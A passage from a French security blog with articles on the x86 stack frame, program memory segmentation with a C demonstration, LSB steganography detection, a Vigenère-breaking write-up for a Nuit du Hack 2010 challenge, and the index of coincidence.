L'instruction <em>leave</em> a pour objectif de supprimer le stack frame, c'est à dire de rétablir les registres <em>ESP</em> et <em>EBP</em> à leur valeur avant le <em>call</em>. Elle est équivalente aux deux commandes suivantes : <ul><li><em>mob esp,ebp</em> qui aurait pour objectif de remettre <em>ESP</em> à la même valeur que <em>EBP</em> (c'est à dire pointant sur la zone mémoire contenant l'ancienne valeur de <em>EBP</em>).</li>
<li><em>pop ebp</em> qui aurait pour objectif de remettre l'ancienne valeur de <em>EBP</em> dans <em>EBP</em>, et du coup de décrémenter <em>ESP</em> de 4 octets pour qu'il pointe sur l'instruction suivant le <em>call</em></li>
</ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikWZ_p_5C3kgUtRn3BgjfeNqVZmtghrvnnhUkK3CXJRExgEpS0JEbZ2aEy5m2C8NFDhWmhCyR2pViQdV1fdi7jV_u6P827wCvxkKYSJjHVPiiM12AmmlS66_vsjEwShjR9jNV5fQeAs58/s1600/stack_after_leave.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikWZ_p_5C3kgUtRn3BgjfeNqVZmtghrvnnhUkK3CXJRExgEpS0JEbZ2aEy5m2C8NFDhWmhCyR2pViQdV1fdi7jV_u6P827wCvxkKYSJjHVPiiM12AmmlS66_vsjEwShjR9jNV5fQeAs58/s320/stack_after_leave.png" width="320" /></a></div><center>
</center>Bien entendu le <em>leave</em> se fait en une seule instruction, du coup l'état intermédiaire présenté dans la première figure n'existe pas réellement.
<li>Instruction ret</li>
L'instruction <em>ret</em> a pour objectif de remettre le registre <em>EIP</em> à la valeur qui pointe sur l'instruction après le <em>call</em>. Suite au <em>leave</em>, <em>ESP</em> pointe sur une zone mémoire contenant l'adresse de l'instruction suivant le <em>call</em>. Elle est donc équivalent à l'instruction <em>pop eip</em>.</ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih0cfgPHCue959qxvBgXMyjhxVKvHVgzsxg-_OIbTTWSIzzDNCf4bG665Wh-Y6UEC4ZF8XTg7r4T0RY27XZLMAwNeShb11oqy63_iKITYy8e8D9O2Abk6HJxcYcP8Tav4KCt_MJl5_ZsQ/s1600/stack_after_ret.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih0cfgPHCue959qxvBgXMyjhxVKvHVgzsxg-_OIbTTWSIzzDNCf4bG665Wh-Y6UEC4ZF8XTg7r4T0RY27XZLMAwNeShb11oqy63_iKITYy8e8D9O2Abk6HJxcYcP8Tav4KCt_MJl5_ZsQ/s320/stack_after_ret.png" width="214" /></a></div><br />
Même si les variables locales sont toujours présentes dans la pile, elles sont considérées comme de l'espace vide. La pile se retrouve donc dans l'état qui était le sien avant le <em>call</em>. La fonction appelante (ici <em>main</em>) a en charge de nettoyer les paramètres.<br />
<br />
Cet article permet d'expliquer précisément le fonctionnement de la pile. Il peut y avoir certaines différences en fonction de l'architecture sur laquelle tourne le programme, du compilateur ou même des options de compilation. Cependant l'idée principale reste la même. La compréhension de cet article sera nécessaire pour la compréhension de quelques uns de mes prochains articles.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com4tag:blogger.com,1999:blog-7133158144968101578.post-22248529405060312142011-03-23T15:07:00.000-07:002013-05-14T00:38:08.180-07:00Segmentation de la mémoire d'un programmeQuand on s'essaye à l'exploitation de binaire, il est impératif de connaître parfaitement comment fonctionne un programme et comment sa mémoire est segmentée.<br />
La mémoire d'un programme est divisée en plusieurs segments :<br />
<ul>
<li>text</li>
<li>data</li>
<li>bss</li>
<li>heap (ou tas en français)</li>
<li>stack (ou pile en français)</li>
</ul>
Chaque segment contient des données bien précises. <br />
<br />
Le segment <strong>text</strong> contient les instructions du programme avec toute sa logique. Ce segment est en lecture seule car le code n'est pas modifié lors de l'exécution. Cela permet d'avoir plusieurs processus qui partagent cette même zone. Quand plusieurs utilisateurs exécutent la commande <em>ls</em> en même temps par exemple, le code de la commande contenu dans le segment <strong>text</strong> n'est pas dupliqué, il est partagé par tous les processus. Cela ne pose aucun problème car cette zone ne peut être modifiée.<br />
<br />
Les segments <strong>bss</strong> et <strong>data</strong> permettent de stocker les variables globales et statiques du programme. Les variables initialisées sont stockées dans le segment <strong>data</strong> alors que les variables non initialisées sont situées dans le segment <strong>bss</strong>. Contrairement au segment <strong>text</strong>, les segments <strong>bss</strong> et <strong>data</strong> ne sont pas en lecture seule (le programme peut modifier ses variables globales et statiques au cours de son exécution), par contre leur taille est fixe puisque connue dès la compilation du programme.<br />
<br />
Le segment <strong>heap</strong> est une zone qui va permettre l'allocation de mémoire de façon dynamique, via les fonctions bien connues de type <em>malloc</em>. Ce segment a donc une taille variable car les zones mémoires vont pouvoir être allouées/désallouées dynamiquement en fonction des besoins du programme.<br />
<br />
Le segment <strong>stack</strong> ou <strong>pile</strong> a pour objectif de stocker les variables locales des fonctions ainsi que le contexte de ces dernières (arguments...). A chaque fois qu'une fonction est appelée par un programme, une zone mémoire lui est allouée dans la <strong>pile</strong> on appelle ça un <strong>stack frame</strong>. Chaque appel de fonction produit un nouveau <strong>stack frame</strong> propre à cet appel, ce qui permet par exemple d'avoir des contextes complètement différents pour la même fonction et donc des comportements différents. Quand la fonction se termine, le <strong>stack frame</strong> est détruit. La <strong>pile</strong> est aussi de taille variable, car il n'est pas possible de savoir quelles fonctions et combien de fois elles seront appelées. Au fur est à mesure des appels de fonction la <strong>pile</strong> va grandir et diminuer. Contrairement au segment <strong>heap</strong>, la <strong>pile</strong> grandit vers les adresses basses : Plus les <strong>stack frames</strong> se rajoutent et plus leurs adresses sont basses.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFGjWsg25CJytZZ5FHiaoiagcr24yS2cYXVdem3H9nM6tsowmFPvHV8trpSEeylHKdHaicXezKF8MBTD2SXNvoLSbnJtoH7ki300XRsaxduvF8C7917VErQD729Hm7mtqA_tD5vCZM0ak/s1600/memory_linux1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFGjWsg25CJytZZ5FHiaoiagcr24yS2cYXVdem3H9nM6tsowmFPvHV8trpSEeylHKdHaicXezKF8MBTD2SXNvoLSbnJtoH7ki300XRsaxduvF8C7917VErQD729Hm7mtqA_tD5vCZM0ak/s320/memory_linux1.png" width="320" /></a></div>
<center>
</center>
Le programme suivant va permettre de mettre en évidence les différentes explications que je viens de donner (il est largement commenté) :<br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
// Variables globales non initialisées qui vont dans le segment BSS
int global_a;
static static_a;
// Variables globales initialisées qui vont dans le segment DATA
int global_b = 1;
static int static_b = 2;
void g(void);
void f(void) {
// Variable locale de f qui va dans le segment STACK
int local_f_a= 1;
// Variable statique initialisée, donc va dans le segment DATA
// La valeur est commune lors de tous les appels de fonction
static int static_f_c = 3;
printf("Addresse Variable local_f_a : %08x\n",&local_f_a);
printf("Addresse Variable static_f_c : %08x\n",&static_f_c);
g();
return;
}
void g(void) {
// Variable locale de g qui va dans le segment STACK
int *local_g_a = NULL;
local_g_a = (int*)malloc(sizeof(int));
printf("Addresse Variable local_g_a : %08x\n",&local_g_a);
printf("Addresse pointee par local_g_a : %08x\n",local_g_a);
free(local_g_a);
return;
}
int main(int argc, char **argv) {
// Variable locale de main qui va dans le segment STACK
// main est une fonction comme une autre
int local_main_a = 10;
printf("Addresse Variable local_main_a : %08x\n",&local_main_a);
printf("Addresse Variable global_a : %08x\n",&global_a);
printf("Addresse Variable static_a : %08x\n",&static_a);
printf("Addresse Variable global_b : %08x\n",&global_b);
printf("Addresse Variable static_b : %08x\n",&static_b);
f();
g();
return EXIT_SUCCESS;
}
</pre>
<pre class="brush:cpp">
</pre>
L'exécution du programme donne :<br />
<br />
<pre class="brush:plain"># ./memory_segment
Addresse Variable local_main_a : bff082dc
Addresse Variable global_a : 0804a034
Addresse Variable static_a : 0804a030
Addresse Variable global_b : 0804a01c
Addresse Variable static_b : 0804a020
Addresse Variable local_f_a : bff082ac
Addresse Variable static_f_c : 0804a024
Addresse Variable local_g_a : bff0827c
Addresse pointee par local_g_a : 09e15008
Addresse Variable local_g_a : bff082ac
Addresse pointee par local_g_a : 09e15008</pre>
Les variables dont l'adresse est la plus basse sont les variables <em>global_b</em>, <em>static_b</em> et <em>static_f_c</em>. Normal, comme le montre le schéma plus haut, ce sont des variables globales et statiques initialisées, donc leur place est dans le segment data, la zone mémoire la plus basse après le code du programme. La variable <em>static_f_c</em> même si elle se trouve dans une fonction est d'abord une variable statique. Toutes les fonctions <em>f()</em> appelées utilisent la même zone mémoire pour cette variable. Une modification dans un appel, se verra donc dans l'appel suivant.<br />
<br />
Ensuite viennent les variables <em>global_a</em> et <em>static_a</em> des variables globales non initialisées, donc dans le segment bss.<br />
<br />
La variables locales ont une adresse beaucoup plus grande, commençant par 0xbff. Si on regarde l'ordre d'appel des fonctions, <em>main()</em> est créée avant <em>f()</em>. Du coup comme dit précédemment les variables de <em>main()</em> ont une adresse plus haute car la pile grandit vers les adresses basses. <em>f()</em> appelant <em>g()</em>, les variables de <em>f()</em> ont une adresse plus haute que celles de la fonction <em>g()</em> appelée dans <em>f()</em>. Par contre, lors de l'appel de <em>g()</em> dans <em>main()</em>, on voit que <em>local_g_a</em> a exactement la même adresse qu'avait <em>local_f_a</em>. Cela ne pose aucun problème, la fonction <em>f()</em> est totalement terminée, du coup son stack frame a été détruit, et le stack frame de <em>g()</em> s'est créée au même endroit.<br />
<br />
La variable <em>local_g_a</em> est une variable locale à <em>g()</em> donc située dans la pile. Par contre <em>malloc</em> alloue une zone mémoire qui elle pointe dans tas (ou heap). La zone mémoire qui stocke <em>local_g_a</em> est dans la pile, et l'adresse contenue dans cette zone mémoire pointe vers le tas.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-24404578092691493652011-02-27T13:38:00.000-08:002013-05-14T00:38:08.182-07:00Détection de LSBComme vu dans un de mes <a href="http://www.time0ut.org/blog/steganographie/least-significant-bit-lsb/">précédents articles</a>, une technique largement utilisée en stéganographie consiste à cacher des informations dans les bits de poids faible (LSB) d'une image. Je vais décrire ici une méthode qui permet dans de nombreux cas de savoir si oui ou non une information est cachée dans ces bits. <br />
Attention, il n'est pas question ici d'extraire cette information, car il existe une infinité de façon de cacher les données dans le LSB :<br />
<ul>
<li>Un bit sur deux, un bit sur trois...</li>
<li>Choix des bits de certaines composantes de l'image uniquement (que dans la composante verte, rouge, bleue, ou toutes les combinaisons possibles)</li>
<li>Ordre des bits en lisant l'image ligne par ligne, colonne par colonne, une ligne sur 2....</li>
<li>Lecture des bits à l'envers ou non</li>
<li>Utilisation des bits de poids le plus faible, ou de poids un peu plus important (avec comme conséquence une altération de l'image plus importante)</li>
<li>...</li>
</ul>
Toutes les techniques ou combinaisons de techniques sont possibles tant qu'elles sont partagées par l'émetteur du message stéganographié et son récepteur.<br />
<br />
Le point important est que toutes les méthodes stéganographiques à base de LSB altèrent le contenu de l'image et que même si cette légère modification n'est pas visible à l'œil nu, elle peut quand même être décelée si on utilise les bonnes techniques.<br />
<br />
L'idée est la suivante, même si les bits de poids faibles sont porteurs de très peu d'information (comme vu dans mon <a href="http://www.time0ut.org/blog/steganographie/least-significant-bit-lsb/">article sur le LSB</a>), ils ne sont tout de même pas distribués aléatoirement dans l'image. Porteur de très peu d'information, ne veut pas dire porteur d'aucune information. Dans une zone ou il n'y a qu'une couleur présente par exemple, il y a peu de chance qu'en plein milieu il y ait un pixel différent de tous ses voisins... possible, mais peu probable. Les bits de poids faibles respectent en règle générale l'apparence de l'image et les pixels sont cohérents entre eux.<br />
<br />
Le but va donc être de visualiser cette cohérence entre les bits de poids faibles. Pour cela on va recréer l'image en "vidant" chaque bit des informations inutiles (c'est à dire les bits de poids fort). Seuls les bits susceptibles de cacher de l'information vont donc être gardés. Comme ce sont des bits de poids faibles, ils ont un impact faible sur le rendu de l'image et il sera donc très difficile de distinguer quoique soit. Il suffit pour cela d'augmenter le poids du bit en faisant un simple décalage binaire vers la gauche.<br />
<pre class="brush:cpp">// On enlève les informations inutiles
composante = composante & 1;
// On augmente le poids du bit
composante = composante << 7;</pre>
<br />
Exemple :<br />
<center><table>
<tbody>
<tr><th>Composante (décimale)</th> <td style="text-align: center;">255</td> <td style="text-align: center;">0</th> <td style="text-align: center;">111</td> <td style="text-align: center;">56</td></tr>
<tr><th>Composante (binaire)</th> <td style="text-align: center;">1111111<span style="color: red;">1</span></td> <td style="text-align: center;">0000000<span style="color: red;">0</span></th> <td>0110111<span style="color: red;">1</span></td> <td style="text-align: center;">0011100<span style="color: red;">0</span></td></tr>
<tr><th>Devient (binaire)</th> <td style="text-align: center;"><span style="color: red;">1</span>0000000</td> <td style="text-align: center;"><span style="color: red;">0</span>0000000</th> <td style="text-align: center;"><span style="color: red;">1</span>0000000</td> <td style="text-align: center;"><span style="color: red;">0</span>0000000</td></tr>
<tr><th>Devient (décimale)</th> <td style="text-align: center;">128</td> <td style="text-align: center;">0</th> <td style="text-align: center;">128</td> <td style="text-align: center;">0</td></tr>
</tbody></table></center>
Pour effectuer cette petite transformation sur les images j'utilise un petit outil que j'ai écrit :<br />
<br />
<pre class="brush:plain"># ./lsb.rb -h
lsb.rb [options] -i input_image -o output_image
Version 1.1
--colors|-c r|g|b: couleur que l'on veut garder
--bit|-b bit: bit que l'on va utiliser (par defaut 0)
--help|-h : affiche cette aide
--version|-v : affiche le numero de version
</pre>
<br />
Utilisons ce petit programme sur cette image qui ne cache aucune information à l'intérieur.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf4_VdV4CBQVrHmh3kkZ5K_n7ZIHgy7eTj3aMk7p5jd5zejwMKwSCvRO77AbgNDs5Wu3Iv9yBDq-KfupFxZIvpKpYYRpV8a9ZHjm8ktUe6HWuSkztXvFKezOCuS46V-0_kwvDOS0r_keM/s1600/tux.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf4_VdV4CBQVrHmh3kkZ5K_n7ZIHgy7eTj3aMk7p5jd5zejwMKwSCvRO77AbgNDs5Wu3Iv9yBDq-KfupFxZIvpKpYYRpV8a9ZHjm8ktUe6HWuSkztXvFKezOCuS46V-0_kwvDOS0r_keM/s1600/tux.png" /></a></div>
<pre class="brush:plain"># ./lsb.rb tux.png -o tux_lsb.png</pre>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHwZSx9sM874bkGtAXW2vs7fnPzedT89yf3ZapFRLog50lM_HGqCARaa_lAYH8WqZarTY9_KAJFkdunO6tTcw9G8bOqSA4_AQWDdopUR2S5VPPsoxL0xyS1nnusi5BeCA3dSt91oMsWPY/s1600/tux_lsb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHwZSx9sM874bkGtAXW2vs7fnPzedT89yf3ZapFRLog50lM_HGqCARaa_lAYH8WqZarTY9_KAJFkdunO6tTcw9G8bOqSA4_AQWDdopUR2S5VPPsoxL0xyS1nnusi5BeCA3dSt91oMsWPY/s1600/tux_lsb.png" /></a></div>
<center>
<br /></center>
Comme on peut le voir très clairement ici, la structure de l'image est ici conservée, et cela même dans les bits de poids faibles.<br />
<br />
Cachons maintenant des informations dans notre image de départ et regardons le résultat :<br />
<br />
<pre class="brush:plain"># ./lsb_hide.rb -f hide.txt tux.png -o tux_hidden.png
# ./lsb.rb tux_hidden.png -o tux_hidden_lsb.png
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicfECaug1G2oNUtS6OBKkeFCduV9SfdmaX0jH21Bijvt1D3mFnI484Rai2jmg6QZziAiNcPpq2C5Hn8Xoho9mzzlpnX9GI0QZXLkNwGO0v9APwgZACe8mCH8vGAWOZZU40m_FywxRKrG4/s1600/tux_hidden.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicfECaug1G2oNUtS6OBKkeFCduV9SfdmaX0jH21Bijvt1D3mFnI484Rai2jmg6QZziAiNcPpq2C5Hn8Xoho9mzzlpnX9GI0QZXLkNwGO0v9APwgZACe8mCH8vGAWOZZU40m_FywxRKrG4/s1600/tux_hidden.png" /></a>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz57p0l7mwY5yegD0Mf_jo47c23i9hih4CZr5beOzAecBIzYhaKS4dJruwYPmitvlAh6PKjlfDTnVXgzVAkcSd6TmD5owexl7NEz4Qmsq5aLdYNO0muKttOFQTXjI-HhROC40x02-A5SM/s1600/tux_hidden_lsb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz57p0l7mwY5yegD0Mf_jo47c23i9hih4CZr5beOzAecBIzYhaKS4dJruwYPmitvlAh6PKjlfDTnVXgzVAkcSd6TmD5owexl7NEz4Qmsq5aLdYNO0muKttOFQTXjI-HhROC40x02-A5SM/s1600/tux_hidden_lsb.png" /></a></div>
On voit très clairement ici que quelque chose s'est passé sur le haut de l'image, puisque cette partie n'est plus du tout cohérente. La raison est qu'un message a été caché, et celui-ci étant court, toute l'image n'a pas été nécessaire pour le cacher.<br />
<br />
Cette technique ne fonctionnera pas dans tous les cas, à plus forte raison si l'image est bruitée ou par exemple si elle avait été préalablement compressée en jpg. Cependant, je la trouve suffisamment intéressante pour être citée. De plus elle m'a rendu de précieux services lors de certains challenges.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com1tag:blogger.com,1999:blog-7133158144968101578.post-9605431216607699272011-02-26T10:07:00.000-08:002013-05-14T00:38:08.198-07:00NDH Cryptographie Epreuve 3L'<a href="http://wargame.nuitduhack.com/epreuves/crypto/QSpmz12dsn/file.txt">épreuve 3</a> de cryptographie de la <a href="http://www.nuitduhack.com/">nuit du hack 2010</a> se présente de cette façon :<br />
<br />
<pre class="brush:plain">Ws szdv od gowhooehzb od nsesp saqpigd pge kp ao5 cp qp spled doyr pgazns
</pre>
Pour commencer et pour tous les messages chiffrés, il est important de faire une bonne première analyse pour écarter les mauvaises pistes. Ici plusieurs éléments sont marquants : <br />
<ul><br />
<li>Le message chiffré contient une majuscule en début de phrase</li>
<li>Le message chiffré contient des espaces, et la proportion des "mots" semble respectée</li>
<li>Le chiffre 5 apparaît dans le message chiffré, avec deux caractères avant ce qui nous fait penser à md5</li>
</ul>
Ici on écarte rapidement le <a href="http://www.time0ut.org/blog/challenge/ndh-cryptographie-ep2/">chiffrement de transposition</a>, car la majuscule en début de phrase et la proportion des mots qui semble respectée ne collent pas. <br />
<br />
Le calcul de l'<a href="http://www.time0ut.org/blog/crypto/indice-de-coincidence/">indice de coïncidence</a> donne le résultat suivant (après retrait des espaces, du 5 et transformation du W en w) :<br />
<br />
<pre class="brush:plain">
# ./indice_coincidence.rb "wsszdvodgowhooehzbodnsespsaqpigdpgekpao cpqpspleddoyrpgazns"<br />
0.0647307924984876
</pre>
L'indice de coïncidence est proche de celui de l'anglais et un peu bas pour du français. Cependant le texte est très court, et se fier aveuglément sur l'indice de coïncidence sur un texte de cette longueur est risqué.<br />
Même si la substitution mono-alphabétique a déjà été utilisée lors de la <a href="http://www.time0ut.org/blog/challenge/ndh-cryptographie-ep1/">ndh</a>, c'était une mono-substitution particulière puisqu'un <a href="http://www.apprendre-en-ligne.net/crypto/cesar/index.html">chiffrement de césar</a>, donc on se lance dans cette voie, peut être sans issue.<br />
<br />
Des outils existent pour casser une mono-substitution comme <a href="http://www.secretcodebreaker.com/scbsolvr.html">SCBSolvr</a>. Cependant je trouve que dans ce genre de challenge, le cheminement vers la solution est plus important que la solution en elle même, du coup on n'utilisera pas cet outil.<br />
<br />
J'ai écrit un petit outil sans prétention, permettant de faire une recherche de motif dans une liste de mot. Par exemple si on lui passe 123123 ou abcabc en paramètre il sortira tous les mots comme coucou, tintin ou encore bonbon. Le 4° mot du message chiffré <strong>gowhooehzb</strong> paraît suffisamment long avec plusieurs lettres répétées, un candidat parfait comme pattern.<br />
<pre class="brush:plain"># pattern -f dict_fr.txt -p gowhooehzb
# pattern -f dict_en.txt -p gowhooehzb
</pre>
Ca s'annonce mal... un mot de ce type n'existe ni en français, ni en anglais. Donc soit ce mot est un mot inventé, soit ce n'est pas une mono-substitution. On tente d'autres combinaisons pour confirmer ou infirmer nos hypothèses.
<br />
<pre class="brush:plain"># pattern -f dict_fr.txt -p nsesp,spled,pgazns
...
balai aigle intuba
...
maias asdic stroma
...
</pre>
Bon hormis le fait que mon dictionnaire est à retravailler... aucun groupe de mots ne semble réellement correspondre à ce que nous recherchons. La voie de la mono-substitution est donc sans issue.<br />
<br />
On va tenter l'algorithme <a href="http://www.apprendre-en-ligne.net/crypto/vigenere/index.html">Vigenère</a> qui est un algorithme très connu et largement utilisé dans les challenges. Plusieurs techniques existent pour casser l'algorithme Vigenère, mais ici une technique est à privilégier. L'analyse préalable du cipher a laissé supposer que le mot md5 était présent dans le texte en clair, une attaque par mot connue ou KPTA pour known Plain Text Attack sera donc utilisée.<br />
<br />
Pour que md5 devienne ao5, il faut qu'il y ait un décalage de 14 (soit la lettre "O" dans l'alphabet) sur la première lettre et de 11 (soit la lettre "L" dans l'alphabet) sur la deuxième. On connait donc deux lettres de notre clé, on va tester ces deux lettres comme clé (et donc supposer que la clé fait deux caractères).<br />
<pre class="brush:plain">Cipher : WSSZDVOD<span style="color: red;">GOWHOOEHZB</span>ODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS
Clé : LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLO
Plain : LEHLSHDP<span style="color: blue;">VALTDATTON</span>DPCETEEEPCEUVPESTWEMDOECEEEXTPSANDESPLCE</pre>
Intéressant... on devine le mot validation. L'algorithme de chiffrement est donc le bon mais la clé est encore mauvaise.<br />
<br />
Le chiffré GOWHOOEHZB doit donc devenir VALIDATION. Pour cela, la clé doit être LOLZLOLZLO. On voit bien la répétition, on teste donc la clé LOLZ.<br />
<br />
<pre class="brush:plain"># vigenere.rb -d WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS -k LOLZ
LEHASHDEVALIDATIONDECETTEEPREUVEESTLEMDDECETEXTESANSESPACE
</pre>
Voilà épreuve terminée :)ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com1tag:blogger.com,1999:blog-7133158144968101578.post-75794195460957076142011-02-17T12:58:00.000-08:002013-05-14T00:38:08.195-07:00Indice de coïncidenceQuand on analyse un message chiffré, découvrir le type de chiffrement utilisé est primordial. Cette tâche n'est pas toujours évidente mais certains outils peuvent aider. Parmi ces outils l'indice de coïncidence ou IC est un passage obligé... autant que l'<a href="http://fr.wikipedia.org/wiki/Analyse_fr%C3%A9quentielle">analyse de fréquence</a> voire plus.<br />
<h3>
Présentation de l'Indice de Coïncidence</h3>
L'IC est une valeur décimale inventée par <a href="http://en.wikipedia.org/wiki/William_F._Friedman">Wilfried Friedman</a> et publiée en 1920 qui mesure la probabilité que deux lettres choisies aléatoirement dans un texte soient identiques.<br />
<br />
La formule de l'IC est la suivante :
<pre class="brush:plain">
IC = SUM(1,N) Ni(Ni-1) / N(N-1
N : Nombre de lettre dans l'alphabet
Ni : Nombre d'occurrence de la lettre i
</pre>
Chaque langue ayant ses propres caractéristiques, chaque langue a aussi un IC qui lui est propre (tableau original <a href="http://fr.wikipedia.org/wiki/Indice_de_co%C3%AFncidence#Autres_langues">ici</a>) :
<center>
<br /><table><tbody>
<tr><th>Langue</th><th>Indice</th></tr>
<tr><td>Russe</td><td>0,0529</td></tr>
<tr><td>Serbe</td><td>0,0643</td></tr>
<tr><td>Suédois</td><td>0,0644</td></tr>
<tr><td>Anglais</td><td>0,0667</td></tr>
<tr><td>Esperanto</td><td>0,0690</td></tr>
<tr><td>Grec</td><td>0,0691</td></tr>
<tr><td>Norvégien</td><td>0,0694</td></tr>
<tr><td>Danois</td><td>0,0707</td></tr>
<tr><td>Finnois</td><td>0,0737</td></tr>
<tr><td>Italien</td><td>0,0738</td></tr>
<tr><td>Portugais</td><td>0,0745</td></tr>
<tr><td>Arabe</td><td>0,0758</td></tr>
<tr><td>Allemand</td><td>0,0762</td></tr>
<tr><td>Hébreu</td><td>0,0768</td></tr>
<tr><td>Espagnol</td><td>0,0770</td></tr>
<tr><td>Japonais</td><td>0,0772</td></tr>
<tr><td>Français</td><td>0,0778</td></tr>
<tr><td>Néerlandais</td><td>0,0798</td></tr>
<tr><td>Malaysien</td><td>0,0852</td></tr>
</tbody></table>
</center>
<br />
<br />
On peut trouver des IC différents selon les sources, tout dépend bien entendu du texte d'origine sur lequel il a été calculé. Par exemple un texte issu du livre <a href="http://fr.wikipedia.org/wiki/La_Disparition_%28roman%29">La disparition</a> de <a href="http://fr.wikipedia.org/wiki/Georges_Perec">Georges Perec</a> aura peu de chance d'être représentatif de la langue française et aura donc un IC bien différent.<br />
<br />
<h3>
Utilisation de l'Indice de Coïncidence</h3>
<br />
Bon c'est bien beau tout ça, mais ça n'explique pas en quoi l'IC peut aider au décryptage d'un texte. Pour commencer, la valeur de l'indice est indépendante des lettres utilisées, il mesure la probabilité de tomber deux fois sur la même lettre quelle que soit cette lettre.<br />
<br />
Ce qui veut dire que dans le cas d'une substitution mono-alphabétique (<a href="http://www.apprendre-en-ligne.net/crypto/cesar/index.html">césar</a>, <a href="http://www.apprendre-en-ligne.net/crypto/subst/polybe.html">carré de polybe</a>...), le texte chiffré et le texte en clair auront exactement le même IC. De la même façon les <a href="http://www.apprendre-en-ligne.net/crypto/transpo/index.html">chiffres de transposition</a> comme celui utilisé à la <a href="http://www.time0ut.org/blog/challenge/ndh-cryptographie-ep2/">NDH</a> par exemple, ne font que modifier l'ordre d'apparition des lettres dans le texte, sans en modifier la quantité, l'IC reste donc inchangé.<br />
<br />
Quand on travaille sur un texte chiffré suffisamment long (pour être le plus représentatif possible), on peut donc facilement écarter certaines hypothèses grâce à cet outil. Si ce dernier a une valeur de 0.03 il y a peu de chance que ce soit une substitution mono-alphabétique ou une transposition, il faudra donc plus regarder en direction de chiffres polyalphabétiques par exemple de type <a href="http://www.apprendre-en-ligne.net/crypto/vigenere/index.html">Vigenère</a>, <a href="http://www.apprendre-en-ligne.net/crypto/porta/index.html">Porta</a> ou <a href="http://www.apprendre-en-ligne.net/crypto/vigenere/gronsfeld.html">Gronsfeld</a> qui eux modifient la quantité de chaque lettre.<br />
<br />
L'utilisation de l'IC va bien au delà de la simple caractérisation du type de chiffrement utilisé. Prenons par exemple un texte en clair que l'on chiffre avec un algorithme qui va modifier la fréquence d'apparition de chaque lettre (<a href="http://www.apprendre-en-ligne.net/crypto/hill/index.html">Hill</a>, <a href="http://www.apprendre-en-ligne.net/crypto/subst/adfgvx.html">ADFGVX</a>, <a href="http://www.apprendre-en-ligne.net/crypto/subst/playfair.html">Playfair</a>...), et on applique un surchiffrement dessus avec une substition mono-alphabétique. A priori l'exercice paraît compliqué pour passer du texte chiffré au texte en clair. Pourtant l'IC apporte ici une aide non négligeable.<br />
Si on décide de faire une recherche exhaustive des clés du premier algo, il ne sera pas possible de savoir si on a trouvé la bonne clé, car le deuxième chiffrement nous masquera la réponse. Cependant on sait que le deuxième algo ne modifie pas l'IC. Il sera donc possible de réduire énormément l'espace de recherche, en ne sélectionnant que les textes qui ont un IC convenable. L'algorithme suivant permet d'expliquer cette démarche.<br />
<pre class="brush:plain">
ecart_accepte = 0.01 // A adapter selon les besoins
Pour toutes les clés K faire
plain = déchiffrer(cipher,K);
Si abs(0.0778 - IC(plain)) < ecart_accepte Alors
plain_possibles.add(plain);
FinSi
FinPour
</pre>
L'espace de recherche qui était constitué d'un ensemble aussi important que le nombre de clé est grandement réduit grâce à l'IC.<br />
<br />
L'IC peut aussi être utilisé dans la recherche de la taille de la clé pour un message chiffré avec <a href="http://www.apprendre-en-ligne.net/crypto/vigenere/index.html">Vigenère</a>. Cet algorithme modifie le rapport de fréquence d'apparition des lettres, et donc l'IC. Cependant il n'est ni plus ni moins qu'un ensemble de N décalages (N césar) où N est la taille de clé.<br />
<br />
Prenons ce texte suivant : "CET ARTICLE PARLE DE L INDICE DE COINCIDENCE QUI EST UN OUTIL TRES UTILE EN CRYPTANALYSE" et chiffrons le avec la clé "CLE".<br />
<div class="code">
<br />
